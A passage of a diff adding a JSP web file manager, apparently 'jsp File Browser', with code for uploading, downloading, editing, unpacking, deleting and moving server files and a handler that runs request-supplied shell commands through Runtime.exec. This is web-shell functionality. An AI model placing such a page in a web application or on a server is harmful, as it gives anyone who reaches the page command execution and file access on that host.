stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } + } //End of class HttpMultiPartParser + + /** + * This class is a comparator to sort the filenames and dirs + */ + class FileComp implements Comparator { + + int mode; + int sign; + + FileComp() { + this.mode = 1; + this.sign = 1; + } + + /** + * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type + * The default sorting method is by Name + * Negative mode means descending sort + */ + FileComp(int mode) { + if (mode < 0) { + this.mode = -mode; + sign = -1; + } + else { + this.mode = mode; + this.sign = 1; + } + } + + public int compare(Object o1, Object o2) { + File f1 = (File) o1; + File f2 = (File) o2; + if (f1.isDirectory()) { + if (f2.isDirectory()) { + switch (mode) { + //Filename or Type + case 1: + case 4: + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + //Filesize + case 2: + return sign * (new Long(f1.length()).compareTo(new Long(f2.length()))); + //Date + case 3: + return sign + * (new Long(f1.lastModified()) + .compareTo(new Long(f2.lastModified()))); + default: + return 1; + } + } + else return -1; + } + else if (f2.isDirectory()) return 1; + else { + switch (mode) { + case 1: + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + case 2: + return sign * (new Long(f1.length()).compareTo(new Long(f2.length()))); + case 3: + return sign + * (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()))); + case 4: { // Sort by extension + int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.'); + int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.'); + if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + } + // f1 has no extension + else if (tempIndexf1 == -1) return -sign; + // f2 has no extension + else if (tempIndexf2 == -1) return sign; + // Both have an extension + else { + String tempEndf1 = f1.getAbsolutePath().toUpperCase() + .substring(tempIndexf1); + String tempEndf2 = f2.getAbsolutePath().toUpperCase() + .substring(tempIndexf2); + return sign * tempEndf1.compareTo(tempEndf2); + } + } + default: + return 1; + } + } + } + } + + /** + * Wrapperclass to wrap an OutputStream around a Writer + */ + class Writer2Stream extends OutputStream { + + Writer out; + + Writer2Stream(Writer w) { + super(); + out = w; + } + + public void write(int i) throws IOException { + out.write(i); + } + + public void write(byte[] b) throws IOException { + for (int i = 0; i < b.length; i++) { + int n = b[i]; + //Convert byte to ubyte + n = ((n >>> 4) & 0xF) * 16 + (n & 0xF); + out.write(n); + } + } + + public void write(byte[] b, int off, int len) throws IOException { + for (int i = off; i < off + len; i++) { + int n = b[i]; + n = ((n >>> 4) & 0xF) * 16 + (n & 0xF); + out.write(n); + } + } + } //End of class Writer2Stream + + static Vector expandFileList(String[] files, boolean inclDirs) { + Vector v = new Vector(); + if (files == null) return v; + for (int i = 0; i < files.length; i++) + v.add(new File(URLDecoder.decode(files[i]))); + for (int i = 0; i < v.size(); i++) { + File f = (File) v.get(i); + if (f.isDirectory()) { + File[] fs = f.listFiles(); + for (int n = 0; n < fs.length; n++) + v.add(fs[n]); + if (!inclDirs) { + v.remove(i); + i--; + } + } + } + return v; + } + + /** + * Method to build an absolute path + * @param dir the root dir + * @param name the name of the new directory + * @return if name is an absolute directory, returns name, else returns dir+name + */ + static String getDir(String dir, String name) { + if (!dir.endsWith(File.separator)) dir = dir + File.separator; + File mv = new File(name); + String new_dir = null; + if (!mv.isAbsolute()) { + new_dir = dir + name; + } + else new_dir = name; + return new_dir; + } + + /** + * This Method converts a byte size in a kbytes or Mbytes size, depending on the size + * @param size The size in bytes + * @return String with size and unit + */ + static String convertFileSize(long size) { + int divisor = 1; + String unit = "bytes"; + if (size >= 1024 * 1024) { + divisor = 1024 * 1024; + unit = "MB"; + } + else if (size >= 1024) { + divisor = 1024; + unit = "KB"; + } + if (divisor == 1) return size / divisor + " " + unit; + String aftercomma = "" + 100 * (size % divisor) / divisor; + if (aftercomma.length() == 1) aftercomma = "0" + aftercomma; + return size / divisor + "." + aftercomma + " " + unit; + } + + /** + * Copies all data from in to out + * @param in the input stream + * @param out the output stream + * @param buffer copy buffer + */ + static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException { + copyStreamsWithoutClose(in, out, buffer); + in.close(); + out.close(); + } + + /** + * Copies all data from in to out + * @param in the input stream + * @param out the output stream + * @param buffer copy buffer + */ + static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer) + throws IOException { + int b; + while ((b = in.read(buffer)) != -1) + out.write(buffer, 0, b); + } + + /** + * Returns the Mime Type of the file, depending on the extension of the filename + */ + static String getMimeType(String fName) { + fName = fName.toLowerCase(); + if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg"; + else if (fName.endsWith(".gif")) return "image/gif"; + else if (fName.endsWith(".pdf")) return "application/pdf"; + else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html"; + else if (fName.endsWith(".avi")) return "video/x-msvideo"; + else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime"; + else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg"; + else if (fName.endsWith(".zip")) return "application/zip"; + else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff"; + else if (fName.endsWith(".rtf")) return "application/rtf"; + else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi"; + else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv") + || fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt") + || fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel"; + else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword"; + else if (fName.endsWith(".png")) return "image/png"; + else if (fName.endsWith(".xml")) return "text/xml"; + else if (fName.endsWith(".svg")) return "image/svg+xml"; + else if (fName.endsWith(".mp3")) return "audio/mp3"; + else if (fName.endsWith(".ogg")) return "audio/ogg"; + else return "text/plain"; + } + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String conv2Html(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } + + /** + * Starts a native process on the server + * @param command the command to start the process + * @param dir the dir in which the process starts + */ + static String startProcess(String command, String dir) throws IOException { + StringBuffer ret = new StringBuffer(); + String[] comm = new String[3]; + comm[0] = COMMAND_INTERPRETER[0]; + comm[1] = COMMAND_INTERPRETER[1]; + comm[2] = command; + long start = System.currentTimeMillis(); + try { + //Start process + Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir)); + //Get input and error streams + BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream()); + BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream()); + boolean end = false; + while (!end) { + int c = 0; + while ((ls_err.available() > 0) && (++c <= 1000)) { + ret.append(conv2Html(ls_err.read())); + } + c = 0; + while ((ls_in.available() > 0) && (++c <= 1000)) { + ret.append(conv2Html(ls_in.read())); + } + try { + ls_proc.exitValue(); + //if the process has not finished, an exception is thrown + //else + while (ls_err.available() > 0) + ret.append(conv2Html(ls_err.read())); + while (ls_in.available() > 0) + ret.append(conv2Html(ls_in.read())); + end = true; + } + catch (IllegalThreadStateException ex) { + //Process is running + } + //The process is not allowed to run longer than given time. + if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) { + ls_proc.destroy(); + end = true; + ret.append("!!!! Process has timed out, destroyed !!!!!"); + } + try { + Thread.sleep(50); + } + catch (InterruptedException ie) {} + } + } + catch (IOException e) { + ret.append("Error: " + e); + } + return ret.toString(); + } + + /** + * Converts a dir string to a linked dir string + * @param dir the directory string (e.g. /usr/local/httpd) + * @param browserLink web-path to Browser.jsp + */ + static String dir2linkdir(String dir, String browserLink, int sortMode) { + File f = new File(dir); + StringBuffer buf = new StringBuffer(); + while (f.getParentFile() != null) { + if (f.canRead()) { + String encPath = URLEncoder.encode(f.getAbsolutePath()); + buf.insert(0, "" + conv2Html(f.getName()) + File.separator + ""); + } + else buf.insert(0, conv2Html(f.getName()) + File.separator); + f = f.getParentFile(); + } + if (f.canRead()) { + String encPath = URLEncoder.encode(f.getAbsolutePath()); + buf.insert(0, "" + conv2Html(f.getAbsolutePath()) + ""); + } + else buf.insert(0, f.getAbsolutePath()); + return buf.toString(); + } + + /** + * Returns true if the given filename tends towards a packed file + */ + static boolean isPacked(String name, boolean gz) { + return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar") + || (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase() + .endsWith(".war")); + } + + /** + * If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not + */ + static boolean isAllowed(File path) throws IOException{ + if (RESTRICT_BROWSING) { + StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";"); + while (stk.hasMoreTokens()){ + if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken())) + return RESTRICT_WHITELIST; + } + return !RESTRICT_WHITELIST; + } + else return true; + } + + //--------------------------------------------------------------------------------------------------------------- + + %> +<% + //Get the current browsing directory + request.setAttribute("dir", request.getParameter("dir")); + // The browser_name variable is used to keep track of the URI + // of the jsp file itself. It is used in all link-backs. + final String browser_name = request.getRequestURI(); + final String FOL_IMG = ""; + boolean nohtml = false; + boolean dir_view = true; + // View file + if (request.getParameter("file") != null) { + File f = new File(request.getParameter("file")); + if (!isAllowed(f)) { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath()); + } + else if (f.exists() && f.canRead()) { + if (isPacked(f.getName(), false)) { + //If zipFile, do nothing here + } + else{ + String mimeType = getMimeType(f.getName()); + response.setContentType(mimeType); + if (mimeType.equals("text/plain")) response.setHeader( + "Content-Disposition", "inline;filename=\"temp.txt\""); + else response.setHeader("Content-Disposition", "inline;filename=\"" + + f.getName() + "\""); + BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[8 * 1024]; + out.clearBuffer(); + OutputStream out_s = new Writer2Stream(out); + copyStreamsWithoutClose(fileInput, out_s, buffer); + fileInput.close(); + out_s.flush(); + nohtml = true; + dir_view = false; + } + } + else { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "File " + f.getAbsolutePath() + + " does not exist or is not readable on the server"); + } + } + // Download selected files as zip file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(SAVE_AS_ZIP))) { + Vector v = expandFileList(request.getParameterValues("selfile"), false); + //Check if all files in vector are allowed + String notAllowedFile = null; + for (int i = 0;i < v.size(); i++){ + File f = (File) v.get(i); + if (!isAllowed(f)){ + notAllowedFile = f.getAbsolutePath(); + break; + } + } + if (notAllowedFile != null){ + request.setAttribute("error", "You are not allowed to access " + notAllowedFile); + } + else if (v.size() == 0) { + request.setAttribute("error", "No files selected"); + } + else { + File dir_file = new File("" + request.getAttribute("dir")); + int dir_l = dir_file.getAbsolutePath().length(); + response.setContentType("application/zip"); + response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\""); + out.clearBuffer(); + ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out)); + zipout.setComment("Created by jsp File Browser v. " + VERSION_NR); + zipout.setLevel(COMPRESSION_LEVEL); + for (int i = 0; i < v.size(); i++) { + File f = (File) v.get(i); + if (f.canRead()) { + zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1))); + BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[0xffff]; + copyStreamsWithoutClose(fr, zipout, buffer); + /* int b; + while ((b=fr.read())!=-1) zipout.write(b);*/ + fr.close(); + zipout.closeEntry(); + } + } + zipout.finish(); + out.flush(); + nohtml = true; + dir_view = false; + } + } + // Download file + else if (request.getParameter("downfile") != null) { + String filePath = request.getParameter("downfile"); + File f = new File(filePath); + if (!isAllowed(f)){ + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile()); + } + else if (f.exists() && f.canRead()) { + response.setContentType("application/octet-stream"); + response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName() + + "\""); + response.setContentLength((int) f.length()); + BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[8 * 1024]; + out.clearBuffer(); + OutputStream out_s = new Writer2Stream(out); + copyStreamsWithoutClose(fileInput, out_s, buffer); + fileInput.close(); + out_s.flush(); + nohtml = true; + dir_view = false; + } + else { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "File " + f.getAbsolutePath() + + " does not exist or is not readable on the server"); + } + } + if (nohtml) return; + //else + // If no parameter is submitted, it will take the path from jsp file browser + if (request.getAttribute("dir") == null) { + String path = null; + if (application.getRealPath(request.getRequestURI()) != null) path = new File( + application.getRealPath(request.getRequestURI())).getParent(); + + if (path == null) { // handle the case where we are not in a directory (ex: war file) + path = new File(".").getAbsolutePath(); + } + //Check path + if (!isAllowed(new File(path))){ + if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH; + else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";")); + } + request.setAttribute("dir", path); + }%> + + + + + + + +<% + //If a cssfile exists, it will take it + String cssPath = null; + if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File( + application.getRealPath(request.getRequestURI())).getParent() + + File.separator + CSS_NAME; + if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString(); + if (new File(cssPath).exists()) { +%> + + <%} + else if (request.getParameter("uplMonitor") == null) {%> + + <%} + + //Check path + if (!isAllowed(new File((String)request.getAttribute("dir")))){ + request.setAttribute("error", "You are not allowed to access " + request.getAttribute("dir")); + } + //Upload monitor + else if (request.getParameter("uplMonitor") != null) {%> + <% + String fname = request.getParameter("uplMonitor"); + //First opening + boolean first = false; + if (request.getParameter("first") != null) first = true; + UplInfo info = new UplInfo(); + if (!first) { + info = UploadMonitor.getInfo(fname); + if (info == null) { + //Windows + int posi = fname.lastIndexOf("\\"); + if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1)); + } + if (info == null) { + //Unix + int posi = fname.lastIndexOf("/"); + if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1)); + } + } + dir_view = false; + request.setAttribute("dir", null); + if (info.aborted) { + UploadMonitor.remove(fname); + %> + + +Upload of <%=fname%>

        +Upload aborted. +<% + } + else if (info.totalSize != info.currSize || info.currSize == 0) { + %> + + + +Upload of <%=fname%>

        +
        + + +
        +<%=convertFileSize(info.currSize)%> from <%=convertFileSize(info.totalSize)%> +(<%=info.getPercent()%> %) uploaded (Speed: <%=info.getUprate()%>).
        +Time: <%=info.getTimeElapsed()%> from <%=info.getTimeEstimated()%> + +<% + } + else { + UploadMonitor.remove(fname); + %> + + +Upload of <%=fname%>

        +Upload finished. + +<% + } + } + //Comandwindow + else if (request.getParameter("command") != null) { + if (!NATIVE_COMMANDS){ + request.setAttribute("error", "Execution of native commands is not allowed!"); + } + else if (!"Cancel".equalsIgnoreCase(request.getParameter("Submit"))) { +%> +Launch commands in <%=request.getAttribute("dir")%> + + +<% + out.println("
        \n" + + " + "> +
        + + + +
        + +
        + "> +
        +
        + + +<% + dir_view = false; + request.setAttribute("dir", null); + } + } + + //Click on a filename, special viewer (zip+jar file) + else if (request.getParameter("file") != null) { + File f = new File(request.getParameter("file")); + if (!isAllowed(f)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + else if (isPacked(f.getName(), false)) { + //ZipFile + try { + ZipFile zf = new ZipFile(f); + Enumeration entries = zf.entries(); +%> +<%= f.getAbsolutePath()%> + + +

        Content of <%=conv2Html(f.getName())%>


        + + +<% + long size = 0; + int fileCount = 0; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + if (!entry.isDirectory()) { + fileCount++; + size += entry.getSize(); + long ratio = 0; + if (entry.getSize() != 0) ratio = (entry.getCompressedSize() * 100) + / entry.getSize(); + out.println(""); + + } + } + zf.close(); + //No directory view + dir_view = false; + request.setAttribute("dir", null); +%> +
        NameUncompressed sizeCompressed sizeCompr. ratioDate
        " + conv2Html(entry.getName()) + + "" + convertFileSize(entry.getSize()) + "" + + convertFileSize(entry.getCompressedSize()) + "" + + ratio + "%" + "" + + dateFormat.format(new Date(entry.getTime())) + "
        +

        + <%=convertFileSize(size)%> in <%=fileCount%> files in <%=f.getName()%>. Compression ratio: <%=(f.length() * 100) / size%>% +

        + +<% + } + catch (ZipException ex) { + request.setAttribute("error", "Cannot read " + f.getName() + + ", no valid zip file"); + } + catch (IOException ex) { + request.setAttribute("error", "Reading of " + f.getName() + " aborted. Error: " + + ex); + } + } + } + // Upload + else if ((request.getContentType() != null) + && (request.getContentType().toLowerCase().startsWith("multipart"))) { + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + boolean error = false; + try { + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser + .processData(request.getInputStream(), bound, tempdir, clength); + if (!isAllowed(new File((String)ht.get("dir")))){ + request.setAttribute("error", "You are not allowed to access " + ht.get("dir")); + error = true; + } + else if (ht.get("myFile") != null) { + FileInfo fi = (FileInfo) ht.get("myFile"); + File f = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) { + f.delete(); + request.setAttribute("error", "Upload aborted"); + } + else { + // Move file from temp to the right dir + String path = (String) ht.get("dir"); + if (!path.endsWith(File.separator)) path = path + File.separator; + if (!f.renameTo(new File(path + f.getName()))) { + request.setAttribute("error", "Cannot upload file."); + error = true; + f.delete(); + } + } + } + else { + request.setAttribute("error", "No file selected for upload"); + error = true; + } + request.setAttribute("dir", (String) ht.get("dir")); + } + catch (Exception e) { + request.setAttribute("error", "Error " + e + ". Upload aborted"); + error = true; + } + if (!error) request.setAttribute("message", "File upload correctly finished."); + } + // The form to edit a text file + else if (request.getParameter("editfile") != null) { + File ef = new File(request.getParameter("editfile")); + if (!isAllowed(ef)){ + request.setAttribute("error", "You are not allowed to access " + ef.getAbsolutePath()); + } + else{ +%> +Edit <%=conv2Html(request.getParameter("editfile"))%> + + +<% + BufferedReader reader = new BufferedReader(new FileReader(ef)); + String disable = ""; + if (!ef.canWrite()) disable = " readonly"; + out.println("
        \n" + + " + "> +
        + + + + + + + +
        >Ms-Dos/Windows>UnixWrite backup
        + "> +
        +
        + + +<% + } + } + // Save or cancel the edited file + else if (request.getParameter("nfile") != null) { + File f = new File(request.getParameter("nfile")); + File new_f = new File(getDir(f.getParent(), request.getParameter("new_name"))); + if (!isAllowed(new_f)){ + request.setAttribute("error", "You are not allowed to access " + new_f.getAbsolutePath()); + } + else if (request.getParameter("Submit").equals("Save")) { + if (new_f.exists() && new_f.canWrite() && request.getParameter("Backup") != null) { + File bak = new File(new_f.getAbsolutePath() + ".bak"); + bak.delete(); + new_f.renameTo(bak); + } + if (new_f.exists() && !new_f.canWrite()) request.setAttribute("error", + "Cannot write to " + new_f.getName() + ", file is write protected."); + else { + BufferedWriter outs = new BufferedWriter(new FileWriter(new_f)); + StringReader text = new StringReader(request.getParameter("text")); + int i; + boolean cr = false; + String lineend = "\n"; + if (request.getParameter("lineformat").equals("dos")) lineend = "\r\n"; + while ((i = text.read()) >= 0) { + if (i == '\r') cr = true; + else if (i == '\n') { + outs.write(lineend); + cr = false; + } + else if (cr) { + outs.write(lineend); + cr = false; + } + else { + outs.write(i); + cr = false; + } + } + outs.flush(); + outs.close(); + } + } + request.setAttribute("dir", f.getParent()); + } + //Unpack file to the current directory without overwriting + else if (request.getParameter("unpackfile") != null) { + File f = new File(request.getParameter("unpackfile")); + String root = f.getParent(); + request.setAttribute("dir", root); + if (!isAllowed(new File(root))){ + request.setAttribute("error", "You are not allowed to access " + root); + } + //Check if file exists + else if (!f.exists()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", file does not exist"); + } + //Check if directory is readonly + else if (!f.getParentFile().canWrite()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", directory is write protected."); + } + //GZip + else if (f.getName().toLowerCase().endsWith(".gz")) { + //New name is old Name without .gz + String newName = f.getAbsolutePath().substring(0, f.getAbsolutePath().length() - 3); + try { + byte buffer[] = new byte[0xffff]; + copyStreams(new GZIPInputStream(new FileInputStream(f)), new FileOutputStream( + newName), buffer); + } + catch (IOException ex) { + request.setAttribute("error", "Unpacking of " + f.getName() + + " aborted. Error: " + ex); + } + } + //Else try Zip + else { + try { + ZipFile zf = new ZipFile(f); + Enumeration entries = zf.entries(); + //First check whether a file already exist + boolean error = false; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + if (!entry.isDirectory() + && new File(root + File.separator + entry.getName()).exists()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", File " + entry.getName() + " already exists."); + error = true; + break; + } + } + if (!error) { + //Unpack File + entries = zf.entries(); + byte buffer[] = new byte[0xffff]; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + File n = new File(root + File.separator + entry.getName()); + if (entry.isDirectory()) n.mkdirs(); + else { + n.getParentFile().mkdirs(); + n.createNewFile(); + copyStreams(zf.getInputStream(entry), new FileOutputStream(n), + buffer); + } + } + zf.close(); + request.setAttribute("message", "Unpack of " + f.getName() + + " was successful."); + } + } + catch (ZipException ex) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", no valid zip file"); + } + catch (IOException ex) { + request.setAttribute("error", "Unpacking of " + f.getName() + + " aborted. Error: " + ex); + } + } + } + // Delete Files + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(DELETE_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + boolean error = false; + //delete backwards + for (int i = v.size() - 1; i >= 0; i--) { + File f = (File) v.get(i); + if (!isAllowed(f)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + error = true; + break; + } + if (!f.canWrite() || !f.delete()) { + request.setAttribute("error", "Cannot delete " + f.getAbsolutePath() + + ". Deletion aborted"); + error = true; + break; + } + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files deleted"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File deleted"); + else if (!error) request.setAttribute("error", "No files selected"); + } + // Create Directory + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(CREATE_DIR))) { + String dir = "" + request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir))){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else if (new File(new_dir).mkdirs()) { + request.setAttribute("message", "Directory created"); + } + else request.setAttribute("error", "Creation of directory " + new_dir + " failed"); + } + // Create a new empty file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(CREATE_FILE))) { + String dir = "" + request.getAttribute("dir"); + String file_name = request.getParameter("cr_dir"); + String new_file = getDir(dir, file_name); + if (!isAllowed(new File(new_file))){ + request.setAttribute("error", "You are not allowed to access " + new_file); + } + // Test, if file_name is empty + else if (!"".equals(file_name.trim()) && !file_name.endsWith(File.separator)) { + if (new File(new_file).createNewFile()) request.setAttribute("message", + "File created"); + else request.setAttribute("error", "Creation of file " + new_file + " failed"); + } + else request.setAttribute("error", "Error: " + file_name + " is not a valid filename"); + } + // Rename a file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(RENAME_FILE))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = "" + request.getAttribute("dir"); + String new_file_name = request.getParameter("cr_dir"); + String new_file = getDir(dir, new_file_name); + if (!isAllowed(new File(new_file))){ + request.setAttribute("error", "You are not allowed to access " + new_file); + } + // The error conditions: + // 1) Zero Files selected + else if (v.size() <= 0) request.setAttribute("error", + "Select exactly one file or folder. Rename failed"); + // 2a) Multiple files selected and the first isn't a dir + // Here we assume that expandFileList builds v from top-bottom, starting with the dirs + else if ((v.size() > 1) && !(((File) v.get(0)).isDirectory())) request.setAttribute( + "error", "Select exactly one file or folder. Rename failed"); + // 2b) If there are multiple files from the same directory, rename fails + else if ((v.size() > 1) && ((File) v.get(0)).isDirectory() + && !(((File) v.get(0)).getPath().equals(((File) v.get(1)).getParent()))) { + request.setAttribute("error", "Select exactly one file or folder. Rename failed"); + } + else { + File f = (File) v.get(0); + if (!isAllowed(f)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + // Test, if file_name is empty + else if ((new_file.trim() != "") && !new_file.endsWith(File.separator)) { + if (!f.canWrite() || !f.renameTo(new File(new_file.trim()))) { + request.setAttribute("error", "Creation of file " + new_file + " failed"); + } + else request.setAttribute("message", "Renamed file " + + ((File) v.get(0)).getName() + " to " + new_file); + } + else request.setAttribute("error", "Error: \"" + new_file_name + + "\" is not a valid filename"); + } + } + // Move selected file(s) + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(MOVE_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = "" + request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir))){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else{ + boolean error = false; + // This ensures that new_dir is 